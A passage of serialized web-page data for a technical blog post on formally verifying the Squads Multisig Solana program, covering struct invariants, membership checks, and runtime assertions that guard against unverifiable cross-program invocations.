,{"style":259},[25537],{"type":28,"value":1656},{"type":23,"tag":139,"props":25539,"children":25540},{"class":141,"line":187},[25541],{"type":23,"tag":139,"props":25542,"children":25543},{"style":259},[25544],{"type":28,"value":1326},{"type":23,"tag":139,"props":25546,"children":25547},{"class":141,"line":196},[25548],{"type":23,"tag":139,"props":25549,"children":25550},{"style":259},[25551],{"type":28,"value":1335},{"type":23,"tag":139,"props":25553,"children":25554},{"class":141,"line":205},[25555,25559],{"type":23,"tag":139,"props":25556,"children":25557},{"style":305},[25558],{"type":28,"value":12344},{"type":23,"tag":139,"props":25560,"children":25561},{"style":259},[25562],{"type":28,"value":12349},{"type":23,"tag":139,"props":25564,"children":25565},{"class":141,"line":214},[25566],{"type":23,"tag":139,"props":25567,"children":25568},{"style":259},[25569],{"type":28,"value":1897},{"type":23,"tag":24,"props":25571,"children":25572},{},[25573,25575,25580,25582,25588,25590,25596,25598,25603],{"type":28,"value":25574},"Inside ",{"type":23,"tag":135,"props":25576,"children":25578},{"className":25577},[],[25579],{"type":28,"value":25234},{"type":28,"value":25581},", we see that it performs a ",{"type":23,"tag":135,"props":25583,"children":25585},{"className":25584},[],[25586],{"type":28,"value":25587},"binary_search",{"type":28,"value":25589}," on the keys vec and returns the index or ",{"type":23,"tag":135,"props":25591,"children":25593},{"className":25592},[],[25594],{"type":28,"value":25595},"None",{"type":28,"value":25597},". Since the vec has size zero, this will just return ",{"type":23,"tag":135,"props":25599,"children":25601},{"className":25600},[],[25602],{"type":28,"value":25595},{"type":28,"value":73},{"type":23,"tag":128,"props":25605,"children":25607},{"code":25606,"language":947,"meta":7,"className":948,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[25608],{"type":23,"tag":135,"props":25609,"children":25610},{"__ignoreMap":7},[25611,25680,25723,25762,25784,25791],{"type":23,"tag":139,"props":25612,"children":25613},{"class":141,"line":142},[25614,25618,25622,25627,25631,25635,25639,25643,25647,25651,25655,25659,25663,25668,25672,25676],{"type":23,"tag":139,"props":25615,"children":25616},{"style":279},[25617],{"type":28,"value":11701},{"type":23,"tag":139,"props":25619,"children":25620},{"style":279},[25621],{"type":28,"value":11706},{"type":23,"tag":139,"props":25623,"children":25624},{"style":245},[25625],{"type":28,"value":25626}," is_member",{"type":23,"tag":139,"props":25628,"children":25629},{"style":259},[25630],{"type":28,"value":262},{"type":23,"tag":139,"props":25632,"children":25633},{"style":982},[25634],{"type":28,"value":1085},{"type":23,"tag":139,"props":25636,"children":25637},{"style":279},[25638],{"type":28,"value":11724},{"type":23,"tag":139,"props":25640,"children":25641},{"style":259},[25642],{"type":28,"value":1052},{"type":23,"tag":139,"props":25644,"children":25645},{"style":294},[25646],{"type":28,"value":25290},{"type":23,"tag":139,"props":25648,"children":25649},{"style":982},[25650],{"type":28,"value":2493},{"type":23,"tag":139,"props":25652,"children":25653},{"style":305},[25654],{"type":28,"value":18865},{"type":23,"tag":139,"props":25656,"children":25657},{"style":259},[25658],{"type":28,"value":1062},{"type":23,"tag":139,"props":25660,"children":25661},{"style":982},[25662],{"type":28,"value":11768},{"type":23,"tag":139,"props":25664,"children":25665},{"style":305},[25666],{"type":28,"value":25667}," Option",{"type":23,"tag":139,"props":25669,"children":25670},{"style":259},[25671],{"type":28,"value":3808},{"type":23,"tag":139,"props":25673,"children":25674},{"style":305},[25675],{"type":28,"value":14613},{"type":23,"tag":139,"props":25677,"children":25678},{"style":259},[25679],{"type":28,"value":5284},{"type":23,"tag":139,"props":25681,"children":25682},{"class":141,"line":151},[25683,25687,25691,25695,25699,25703,25707,25711,25715,25719],{"type":23,"tag":139,"props":25684,"children":25685},{"style":319},[25686],{"type":28,"value":12764},{"type":23,"tag":139,"props":25688,"children":25689},{"style":279},[25690],{"type":28,"value":11808},{"type":23,"tag":139,"props":25692,"children":25693},{"style":982},[25694],{"type":28,"value":73},{"type":23,"tag":139,"props":25696,"children":25697},{"style":259},[25698],{"type":28,"value":18991},{"type":23,"tag":139,"props":25700,"children":25701},{"style":982},[25702],{"type":28,"value":73},{"type":23,"tag":139,"props":25704,"children":25705},{"style":245},[25706],{"type":28,"value":25587},{"type":23,"tag":139,"props":25708,"children":25709},{"style":259},[25710],{"type":28,"value":262},{"type":23,"tag":139,"props":25712,"children":25713},{"style":982},[25714],{"type":28,"value":1085},{"type":23,"tag":139,"props":25716,"children":25717},{"style":294},[25718],{"type":28,"value":25290},{"type":23,"tag":139,"props":25720,"children":25721},{"style":259},[25722],{"type":28,"value":12815},{"type":23,"tag":139,"props":25724,"children":25725},{"class":141,"line":160},[25726,25730,25734,25738,25742,25746,25750,25754,25758],{"type":23,"tag":139,"props":25727,"children":25728},{"style":305},[25729],{"type":28,"value":12823},{"type":23,"tag":139,"props":25731,"children":25732},{"style":259},[25733],{"type":28,"value":262},{"type":23,"tag":139,"props":25735,"children":25736},{"style":294},[25737],{"type":28,"value":25340},{"type":23,"tag":139,"props":25739,"children":25740},{"style":259},[25741],{"type":28,"value":1062},{"type":23,"tag":139,"props":25743,"children":25744},{"style":982},[25745],{"type":28,"value":12833},{"type":23,"tag":139,"props":25747,"children":25748},{"style":305},[25749],{"type":28,"value":25331},{"type":23,"tag":139,"props":25751,"children":25752},{"style":259},[25753],{"type":28,"value":262},{"type":23,"tag":139,"props":25755,"children":25756},{"style":294},[25757],{"type":28,"value":25340},{"type":23,"tag":139,"props":25759,"children":25760},{"style":259},[25761],{"type":28,"value":4739},{"type":23,"tag":139,"props":25763,"children":25764},{"class":141,"line":169},[25765,25770,25775,25780],{"type":23,"tag":139,"props":25766,"children":25767},{"style":294},[25768],{"type":28,"value":25769},"        _",{"type":23,"tag":139,"props":25771,"children":25772},{"style":982},[25773],{"type":28,"value":25774}," =>",{"type":23,"tag":139,"props":25776,"children":25777},{"style":305},[25778],{"type":28,"value":25779}," None",{"type":23,"tag":139,"props":25781,"children":25782},{"style":259},[25783],{"type":28,"value":1488},{"type":23,"tag":139,"props":25785,"children":25786},{"class":141,"line":178},[25787],{"type":23,"tag":139,"props":25788,"children":25789},{"style":259},[25790],{"type":28,"value":1335},{"type":23,"tag":139,"props":25792,"children":25793},{"class":141,"line":187},[25794],{"type":23,"tag":139,"props":25795,"children":25796},{"style":259},[25797],{"type":28,"value":1897},{"type":23,"tag":24,"props":25799,"children":25800},{},[25801,25803,25808,25810,25815,25817,25822,25824,25829],{"type":28,"value":25802},"So interestingly, a ",{"type":23,"tag":135,"props":25804,"children":25806},{"className":25805},[],[25807],{"type":28,"value":18991},{"type":28,"value":25809}," vec of size 0 ",{"type":23,"tag":659,"props":25811,"children":25812},{},[25813],{"type":28,"value":25814},"is actually",{"type":28,"value":25816}," a sufficient condition to execute ",{"type":23,"tag":135,"props":25818,"children":25820},{"className":25819},[],[25821],{"type":28,"value":23487},{"type":28,"value":25823},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":23,"tag":659,"props":25825,"children":25826},{},[25827],{"type":28,"value":25828},"valid",{"type":28,"value":25830}," multisig, the number of keys should never be zero.",{"type":23,"tag":24,"props":25832,"children":25833},{},[25834,25836,25841],{"type":28,"value":25835},"We can represent this ",{"type":23,"tag":659,"props":25837,"children":25838},{},[25839],{"type":28,"value":25840},"validity",{"type":28,"value":25842}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":23,"tag":128,"props":25844,"children":25846},{"code":25845,"language":947,"meta":7,"className":948,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[25847],{"type":23,"tag":135,"props":25848,"children":25849},{"__ignoreMap":7},[25850,25857,25880,25931,25938],{"type":23,"tag":139,"props":25851,"children":25852},{"class":141,"line":142},[25853],{"type":23,"tag":139,"props":25854,"children":25855},{"style":259},[25856],{"type":28,"value":18786},{"type":23,"tag":139,"props":25858,"children":25859},{"class":141,"line":151},[25860,25864,25868,25872,25876],{"type":23,"tag":139,"props":25861,"children":25862},{"style":259},[25863],{"type":28,"value":22750},{"type":23,"tag":139,"props":25865,"children":25866},{"style":982},[25867],{"type":28,"value":73},{"type":23,"tag":139,"props":25869,"children":25870},{"style":259},[25871],{"type":28,"value":19079},{"type":23,"tag":139,"props":25873,"children":25874},{"style":982},[25875],{"type":28,"value":7952},{"type":23,"tag":139,"props":25877,"children":25878},{"style":259},[25879],{"type":28,"value":19088},{"type":23,"tag":139,"props":25881,"children":25882},{"class":141,"line":160},[25883,25887,25891,25895,25899,25903,25907,25911,25915,25919,25923,25927],{"type":23,"tag":139,"props":25884,"children":25885},{"style":982},[25886],{"type":28,"value":13632},{"type":23,"tag":139,"props":25888,"children":25889},{"style":259},[25890],{"type":28,"value":19012},{"type":23,"tag":139,"props":25892,"children":25893},{"style":982},[25894],{"type":28,"value":73},{"type":23,"tag":139,"props":25896,"children":25897},{"style":259},[25898],{"type":28,"value":19079},{"type":23,"tag":139,"props":25900,"children":25901},{"style":279},[25902],{"type":28,"value":6847},{"type":23,"tag":139,"props":25904,"children":25905},{"style":305},[25906],{"type":28,"value":11742},{"type":23,"tag":139,"props":25908,"children":25909},{"style":982},[25910],{"type":28,"value":6201},{"type":23,"tag":139,"props":25912,"children":25913},{"style":259},[25914],{"type":28,"value":11808},{"type":23,"tag":139,"props":25916,"children":25917},{"style":982},[25918],{"type":28,"value":73},{"type":23,"tag":139,"props":25920,"children":25921},{"style":259},[25922],{"type":28,"value":18991},{"type":23,"tag":139,"props":25924,"children":25925},{"style":982},[25926],{"type":28,"value":73},{"type":23,"tag":139,"props":25928,"children":25929},{"style":259},[25930],{"type":28,"value":19140},{"type":23,"tag":139,"props":25932,"children":25933},{"class":141,"line":169},[25934],{"type":23,"tag":139,"props":25935,"children":25936},{"style":259},[25937],{"type":28,"value":18266},{"type":23,"tag":139,"props":25939,"children":25940},{"class":141,"line":178},[25941,25945,25949,25953,25957,25961],{"type":23,"tag":139,"props":25942,"children":25943},{"style":279},[25944],{"type":28,"value":11701},{"type":23,"tag":139,"props":25946,"children":25947},{"style":279},[25948],{"type":28,"value":19159},{"type":23,"tag":139,"props":25950,"children":25951},{"style":305},[25952],{"type":28,"value":19164},{"type":23,"tag":139,"props":25954,"children":25955},{"style":259},[25956],{"type":28,"value":7594},{"type":23,"tag":139,"props":25958,"children":25959},{"style":982},[25960],{"type":28,"value":7599},{"type":23,"tag":139,"props":25962,"children":25963},{"style":259},[25964],{"type":28,"value":7604},{"type":23,"tag":24,"props":25966,"children":25967},{},[25968,25970,25976,25978,25984],{"type":28,"value":25969},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":23,"tag":135,"props":25971,"children":25973},{"className":25972},[],[25974],{"type":28,"value":25975},"keys.len() == 0",{"type":28,"value":25977}," and allows us to prove the biconditional ",{"type":23,"tag":135,"props":25979,"children":25981},{"className":25980},[],[25982],{"type":28,"value":25983},"(keys.len() >= 1) -> (instruction succeeds)",{"type":28,"value":73},{"type":23,"tag":666,"props":25986,"children":25988},{"id":25987},"safety-guarantees",[25989],{"type":28,"value":20793},{"type":23,"tag":24,"props":25991,"children":25992},{},[25993],{"type":28,"value":25994},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":23,"tag":24,"props":25996,"children":25997},{},[25998],{"type":28,"value":25999},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":23,"tag":24,"props":26001,"children":26002},{},[26003,26005,26011],{"type":28,"value":26004},"In the multisig program this happens in the ",{"type":23,"tag":135,"props":26006,"children":26008},{"className":26007},[],[26009],{"type":28,"value":26010},"execute_transaction",{"type":28,"value":26012}," instruction.",{"type":23,"tag":24,"props":26014,"children":26015},{},[26016],{"type":23,"tag":659,"props":26017,"children":26018},{},[26019],{"type":28,"value":26020},"So what do you do?",{"type":23,"tag":24,"props":26022,"children":26023},{},[26024],{"type":28,"value":26025},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":23,"tag":128,"props":26027,"children":26029},{"code":26028,"language":947,"meta":7,"className":948,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[26030],{"type":23,"tag":135,"props":26031,"children":26032},{"__ignoreMap":7},[26033,26048,26064,26079,26120,26127,26134,26141,26158,26174,26195,26202,26209,26225,26245,26273,26280,26287,26294,26302,26355,26381,26388,26417,26441,26476,26483,26494],{"type":23,"tag":139,"props":26034,"children":26035},{"class":141,"line":142},[26036,26040,26044],{"type":23,"tag":139,"props":26037,"children":26038},{"style":259},[26039],{"type":28,"value":20846},{"type":23,"tag":139,"props":26041,"children":26042},{"style":305},[26043],{"type":28,"value":20851},{"type":23,"tag":139,"props":26045,"children":26046},{"style":259},[26047],{"type":28,"value":18266},{"type":23,"tag":139,"props":26049,"children":26050},{"class":141,"line":151},[26051,26055,26060],{"type":23,"tag":139,"props":26052,"children":26053},{"style":279},[26054],{"type":28,"value":11701},{"type":23,"tag":139,"props":26056,"children":26057},{"style":305},[26058],{"type":28,"value":26059}," MyCtx",{"type":23,"tag":139,"props":26061,"children":26062},{"style":259},[26063],{"type":28,"value":1268},{"type":23,"tag":139,"props":26065,"children":26066},{"class":141,"line":160},[26067,26071,26075],{"type":23,"tag":139,"props":26068,"children":26069},{"style":259},[26070],{"type":28,"value":21138},{"type":23,"tag":139,"props":26072,"children":26073},{"style":279},[26074],{"type":28,"value":1713},{"type":23,"tag":139,"props":26076,"children":26077},{"style":259},[26078],{"type":28,"value":18266},{"type":23,"tag":139,"props":26080,"children":26081},{"class":141,"line":169},[26082,26086,26091,26095,26099,26103,26107,26111,26116],{"type":23,"tag":139,"props":26083,"children":26084},{"style":279},[26085],{"type":28,"value":18851},{"type":23,"tag":139,"props":26087,"children":26088},{"style":294},[26089],{"type":28,"value":26090}," my_account",{"type":23,"tag":139,"props":26092,"children":26093},{"style":982},[26094],{"type":28,"value":2493},{"type":23,"tag":139,"props":26096,"children":26097},{"style":305},[26098],{"type":28,"value":21103},{"type":23,"tag":139,"props":26100,"children":26101},{"style":259},[26102],{"type":28,"value":20931},{"type":23,"tag":139,"props":26104,"children":26105},{"style":305},[26106],{"type":28,"value":20936},{"type":23,"tag":139,"props":26108,"children":26109},{"style":259},[26110],{"type":28,"value":1052},{"type":23,"tag":139,"props":26112,"children":26113},{"style":305},[26114],{"type":28,"value":26115},"Acc",{"type":23,"tag":139,"props":26117,"children":26118},{"style":259},[26119],{"type":28,"value":3995},{"type":23,"tag":139,"props":26121,"children":26122},{"class":141,"line":178},[26123],{"type":23,"tag":139,"props":26124,"children":26125},{"style":259},[26126],{"type":28,"value":1897},{"type":23,"tag":139,"props":26128,"children":26129},{"class":141,"line":187},[26130],{"type":23,"tag":139,"props":26131,"children":26132},{"emptyLinePlaceholder":15},[26133],{"type":28,"value":184},{"type":23,"tag":139,"props":26135,"children":26136},{"class":141,"line":196},[26137],{"type":23,"tag":139,"props":26138,"children":26139},{"style":259},[26140],{"type":28,"value":18778},{"type":23,"tag":139,"props":26142,"children":26143},{"class":141,"line":205},[26144,26149,26153],{"type":23,"tag":139,"props":26145,"children":26146},{"style":259},[26147],{"type":28,"value":26148},"#[invariant(bad ",{"type":23,"tag":139,"props":26150,"children":26151},{"style":982},[26152],{"type":28,"value":6580},{"type":23,"tag":139,"props":26154,"children":26155},{"style":259},[26156],{"type":28,"value":26157}," false)]\n",{"type":23,"tag":139,"props":26159,"children":26160},{"class":141,"line":214},[26161,26165,26170],{"type":23,"tag":139,"props":26162,"children":26163},{"style":279},[26164],{"type":28,"value":7409},{"type":23,"tag":139,"props":26166,"children":26167},{"style":305},[26168],{"type":28,"value":26169}," Acc",{"type":23,"tag":139,"props":26171,"children":26172},{"style":259},[26173],{"type":28,"value":1268},{"type":23,"tag":139,"props":26175,"children":26176},{"class":141,"line":1320},[26177,26181,26186,26190],{"type":23,"tag":139,"props":26178,"children":26179},{"style":279},[26180],{"type":28,"value":18851},{"type":23,"tag":139,"props":26182,"children":26183},{"style":294},[26184],{"type":28,"value":26185}," bad",{"type":23,"tag":139,"props":26187,"children":26188},{"style":982},[26189],{"type":28,"value":2493},{"type":23,"tag":139,"props":26191,"children":26192},{"style":305},[26193],{"type":28,"value":26194}," bool\n",{"type":23,"tag":139,"props":26196,"children":26197},{"class":141,"line":1329},[26198],{"type":23,"tag":139,"props":26199,"children":26200},{"style":259},[26201],{"type":28,"value":1897},{"type":23,"tag":139,"props":26203,"children":26204},{"class":141,"line":1580},[26205],{"type":23,"tag":139,"props":26206,"children":26207},{"emptyLinePlaceholder":15},[26208],{"type":28,"value":184},{"type":23,"tag":139,"props":26210,"children":26211},{"class":141,"line":1597},[26212,26217,26221],{"type":23,"tag":139,"props":26213,"children":26214},{"style":279},[26215],{"type":28,"value":26216},"impl",{"type":23,"tag":139,"props":26218,"children":26219},{"style":305},[26220],{"type":28,"value":26169},{"type":23,"tag":139,"props":26222,"children":26223},{"style":259},[26224],{"type":28,"value":1268},{"type":23,"tag":139,"props":26226,"children":26227},{"class":141,"line":1614},[26228,26232,26236,26241],{"type":23,"tag":139,"props":26229,"children":26230},{"style":279},[26231],{"type":28,"value":18851},{"type":23,"tag":139,"props":26233,"children":26234},{"style":279},[26235],{"type":28,"value":11706},{"type":23,"tag":139,"props":26237,"children":26238},{"style":245},[26239],{"type":28,"value":26240}," put_into_bad_state",{"type":23,"tag":139,"props":26242,"children":26243},{"style":259},[26244],{"type":28,"value":13747},{"type":23,"tag":139,"props":26246,"children":26247},{"class":141,"line":1627},[26248,26252,26256,26261,26265,26269],{"type":23,"tag":139,"props":26249,"children":26250},{"style":279},[26251],{"type":28,"value":25381},{"type":23,"tag":139,"props":26253,"children":26254},{"style":982},[26255],{"type":28,"value":73},{"type":23,"tag":139,"props":26257,"children":26258},{"style":259},[26259],{"type":28,"value":26260},"bad ",{"type":23,"tag":139,"props":26262,"children":26263},{"style":982},[26264],{"type":28,"value":1067},{"type":23,"tag":139,"props":26266,"children":26267},{"style":279},[26268],{"type":28,"value":10480},{"type":23,"tag":139,"props":26270,"children":26271},{"style":259},[26272],{"type":28,"value":995},{"type":23,"tag":139,"props":26274,"children":26275},{"class":141,"line":1636},[26276],{"type":23,"tag":139,"props":26277,"children":26278},{"style":259},[26279],{"type":28,"value":1335},{"type":23,"tag":139,"props":26281,"children":26282},{"class":141,"line":1659},[26283],{"type":23,"tag":139,"props":26284,"children":26285},{"style":259},[26286],{"type":28,"value":1897},{"type":23,"tag":139,"props":26288,"children":26289},{"class":141,"line":1667},[26290],{"type":23,"tag":139,"props":26291,"children":26292},{"emptyLinePlaceholder":15},[26293],{"type":28,"value":184},{"type":23,"tag":139,"props":26295,"children":26296},{"class":141,"line":1676},[26297],{"type":23,"tag":139,"props":26298,"children":26299},{"style":958},[26300],{"type":28,"value":26301},"// Instruction handler:\n",{"type":23,"tag":139,"props":26303,"children":26304},{"class":141,"line":1745},[26305,26309,26314,26318,26322,26326,26330,26334,26339,26343,26347,26351],{"type":23,"tag":139,"props":26306,"children":26307},{"style":279},[26308],{"type":28,"value":18274},{"type":23,"tag":139,"props":26310,"children":26311},{"style":245},[26312],{"type":28,"value":26313}," hard_to_verify",{"type":23,"tag":139,"props":26315,"children":26316},{"style":259},[26317],{"type":28,"value":262},{"type":23,"tag":139,"props":26319,"children":26320},{"style":294},[26321],{"type":28,"value":18288},{"type":23,"tag":139,"props":26323,"children":26324},{"style":982},[26325],{"type":28,"value":2493},{"type":23,"tag":139,"props":26327,"children":26328},{"style":305},[26329],{"type":28,"value":18297},{"type":23,"tag":139,"props":26331,"children":26332},{"style":259},[26333],{"type":28,"value":3808},{"type":23,"tag":139,"props":26335,"children":26336},{"style":305},[26337],{"type":28,"value":26338},"MyCtx",{"type":23,"tag":139,"props":26340,"children":26341},{"style":259},[26342],{"type":28,"value":18454},{"type":23,"tag":139,"props":26344,"children":26345},{"style":982},[26346],{"type":28,"value":11768},{"type":23,"tag":139,"props":26348,"children":26349},{"style":305},[26350],{"type":28,"value":11773},{"type":23,"tag":139,"props":26352,"children":26353},{"style":259},[26354],{"type":28,"value":18339},{"type":23,"tag":139,"props":26356,"children":26357},{"class":141,"line":1753},[26358,26363,26367,26371,26376],{"type":23,"tag":139,"props":26359,"children":26360},{"style":245},[26361],{"type":28,"value":26362},"    invoke_signed",{"type":23,"tag":139,"props":26364,"children":26365},{"style":259},[26366],{"type":28,"value":262},{"type":23,"tag":139,"props":26368,"children":26369},{"style":982},[26370],{"type":28,"value":7599},{"type":23,"tag":139,"props":26372,"children":26373},{"style":259},[26374],{"type":28,"value":26375},"); ",{"type":23,"tag":139,"props":26377,"children":26378},{"style":958},[26379],{"type":28,"value":26380},"// Cross-program invocation\n",{"type":23,"tag":139,"props":26382,"children":26383},{"class":141,"line":1783},[26384],{"type":23,"tag":139,"props":26385,"children":26386},{"emptyLinePlaceholder":15},[26387],{"type":28,"value":184},{"type":23,"tag":139,"props":26389,"children":26390},{"class":141,"line":1791},[26391,26395,26400,26404,26408,26412],{"type":23,"tag":139,"props":26392,"children":26393},{"style":279},[26394],{"type":28,"value":969},{"type":23,"tag":139,"props":26396,"children":26397},{"style":294},[26398],{"type":28,"value":26399}," invoke_res",{"type":23,"tag":139,"props":26401,"children":26402},{"style":982},[26403],{"type":28,"value":985},{"type":23,"tag":139,"props":26405,"children":26406},{"style":982},[26407],{"type":28,"value":23320},{"type":23,"tag":139,"props":26409,"children":26410},{"style":259},[26411],{"type":28,"value":15239},{"type":23,"tag":139,"props":26413,"children":26414},{"style":958},[26415],{"type":28,"value":26416},"// fetch result of invocation\n",{"type":23,"tag":139,"props":26418,"children":26419},{"class":141,"line":1823},[26420,26424,26428,26432,26437],{"type":23,"tag":139,"props":26421,"children":26422},{"style":319},[26423],{"type":28,"value":10290},{"type":23,"tag":139,"props":26425,"children":26426},{"style":294},[26427],{"type":28,"value":26399},{"type":23,"tag":139,"props":26429,"children":26430},{"style":982},[26431],{"type":28,"value":1259},{"type":23,"tag":139,"props":26433,"children":26434},{"style":1016},[26435],{"type":28,"value":26436}," 5",{"type":23,"tag":139,"props":26438,"children":26439},{"style":259},[26440],{"type":28,"value":1268},{"type":23,"tag":139,"props":26442,"children":26443},{"class":141,"line":1831},[26444,26448,26452,26457,26461,26466,26471],{"type":23,"tag":139,"props":26445,"children":26446},{"style":294},[26447],{"type":28,"value":24207},{"type":23,"tag":139,"props":26449,"children":26450},{"style":982},[26451],{"type":28,"value":73},{"type":23,"tag":139,"props":26453,"children":26454},{"style":259},[26455],{"type":28,"value":26456},"my_account",{"type":23,"tag":139,"props":26458,"children":26459},{"style":982},[26460],{"type":28,"value":73},{"type":23,"tag":139,"props":26462,"children":26463},{"style":245},[26464],{"type":28,"value":26465},"put_into_bad_state",{"type":23,"tag":139,"props":26467,"children":26468},{"style":259},[26469],{"type":28,"value":26470},"(); ",{"type":23,"tag":139,"props":26472,"children":26473},{"style":958},[26474],{"type":28,"value":26475},"// corrupt our account\n",{"type":23,"tag":139,"props":26477,"children":26478},{"class":141,"line":1891},[26479],{"type":23,"tag":139,"props":26480,"children":26481},{"style":259},[26482],{"type":28,"value":1335},{"type":23,"tag":139,"props":26484,"children":26485},{"class":141,"line":7053},[26486,26490],{"type":23,"tag":139,"props":26487,"children":26488},{"style":305},[26489],{"type":28,"value":12344},{"type":23,"tag":139,"props":26491,"children":26492},{"style":259},[26493],{"type":28,"value":12349},{"type":23,"tag":139,"props":26495,"children":26496},{"class":141,"line":7071},[26497],{"type":23,"tag":139,"props":26498,"children":26499},{"style":259},[26500],{"type":28,"value":1897},{"type":23,"tag":24,"props":26502,"children":26503},{},[26504,26506,26511],{"type":28,"value":26505},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":23,"tag":135,"props":26507,"children":26509},{"className":26508},[],[26510],{"type":28,"value":26456},{"type":28,"value":26512},") will be maintained as long as the instruction succeeds.",{"type":23,"tag":24,"props":26514,"children":26515},{},[26516],{"type":28,"value":26517},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":23,"tag":24,"props":26519,"children":26520},{},[26521,26523,26528],{"type":28,"value":26522},"However, we can ",{"type":23,"tag":659,"props":26524,"children":26525},{},[26526],{"type":28,"value":26527},"augment",{"type":28,"value":26529}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":23,"tag":24,"props":26531,"children":26532},{},[26533],{"type":28,"value":26534},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":23,"tag":128,"props":26536,"children":26538},{"code":26537,"language":947,"meta":7,"className":948,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[26539],{"type":23,"tag":135,"props":26540,"children":26541},{"__ignoreMap":7},[26542,26550,26601,26624,26631,26658,26681,26712,26719,26726,26734,26769,26776,26787],{"type":23,"tag":139,"props":26543,"children":26544},{"class":141,"line":142},[26545],{"type":23,"tag":139,"props":26546,"children":26547},{"style":982},[26548],{"type":28,"value":26549},"...\n",{"type":23,"tag":139,"props":26551,"children":26552},{"class":141,"line":151},[26553,26557,26561,26565,26569,26573,26577,26581,26585,26589,26593,26597],{"type":23,"tag":139,"props":26554,"children":26555},{"style":279},[26556],{"type":28,"value":18274},{"type":23,"tag":139,"props":26558,"children":26559},{"style":245},[26560],{"type":28,"value":26313},{"type":23,"tag":139,"props":26562,"children":26563},{"style":259},[26564],{"type":28,"value":262},{"type":23,"tag":139,"props":26566,"children":26567},{"style":294},[26568],{"type":28,"value":18288},{"type":23,"tag":139,"props":26570,"children":26571},{"style":982},[26572],{"type":28,"value":2493},{"type":23,"tag":139,"props":26574,"children":26575},{"style":305},[26576],{"type":28,"value":18297},{"type":23,"tag":139,"props":26578,"children":26579},{"style":259},[26580],{"type":28,"value":3808},{"type":23,"tag":139,"props":26582,"children":26583},{"style":305},[26584],{"type":28,"value":26338},{"type":23,"tag":139,"props":26586,"children":26587},{"style":259},[26588],{"type":28,"value":18454},{"type":23,"tag":139,"props":26590,"children":26591},{"style":982},[26592],{"type":28,"value":11768},{"type":23,"tag":139,"props":26594,"children":26595},{"style":305},[26596],{"type":28,"value":11773},{"type":23,"tag":139,"props":26598,"children":26599},{"style":259},[26600],{"type":28,"value":18339},{"type":23,"tag":139,"props":26602,"children":26603},{"class":141,"line":160},[26604,26608,26612,26616,26620],{"type":23,"tag":139,"props":26605,"children":26606},{"style":245},[26607],{"type":28,"value":26362},{"type":23,"tag":139,"props":26609,"children":26610},{"style":259},[26611],{"type":28,"value":262},{"type":23,"tag":139,"props":26613,"children":26614},{"style":982},[26615],{"type":28,"value":7599},{"type":23,"tag":139,"props":26617,"children":26618},{"style":259},[26619],{"type":28,"value":26375},{"type":23,"tag":139,"props":26621,"children":26622},{"style":958},[26623],{"type":28,"value":26380},{"type":23,"tag":139,"props":26625,"children":26626},{"class":141,"line":169},[26627],{"type":23,"tag":139,"props":26628,"children":26629},{"emptyLinePlaceholder":15},[26630],{"type":28,"value":184},{"type":23,"tag":139,"props":26632,"children":26633},{"class":141,"line":178},[26634,26638,26642,26646,26650,26654],{"type":23,"tag":139,"props":26635,"children":26636},{"style":279},[26637],{"type":28,"value":969},{"type":23,"tag":139,"props":26639,"children":26640},{"style":294},[26641],{"type":28,"value":26399},{"type":23,"tag":139,"props":26643,"children":26644},{"style":982},[26645],{"type":28,"value":985},{"type":23,"tag":139,"props":26647,"children":26648},{"style":982},[26649],{"type":28,"value":23320},{"type":23,"tag":139,"props":26651,"children":26652},{"style":259},[26653],{"type":28,"value":15239},{"type":23,"tag":139,"props":26655,"children":26656},{"style":958},[26657],{"type":28,"value":26416},{"type":23,"tag":139,"props":26659,"children":26660},{"class":141,"line":187},[26661,26665,26669,26673,26677],{"type":23,"tag":139,"props":26662,"children":26663},{"style":319},[26664],{"type":28,"value":10290},{"type":23,"tag":139,"props":26666,"children":26667},{"style":294},[26668],{"type":28,"value":26399},{"type":23,"tag":139,"props":26670,"children":26671},{"style":982},[26672],{"type":28,"value":1259},{"type":23,"tag":139,"props":26674,"children":26675},{"style":1016},[26676],{"type":28,"value":26436},{"type":23,"tag":139,"props":26678,"children":26679},{"style":259},[26680],{"type":28,"value":1268},{"type":23,"tag":139,"props":26682,"children":26683},{"class":141,"line":196},[26684,26688,26692,26696,26700,26704,26708],{"type":23,"tag":139,"props":26685,"children":26686},{"style":294},[26687],{"type":28,"value":24207},{"type":23,"tag":139,"props":26689,"children":26690},{"style":982},[26691],{"type":28,"value":73},{"type":23,"tag":139,"props":26693,"children":26694},{"style":259},[26695],{"type":28,"value":26456},{"type":2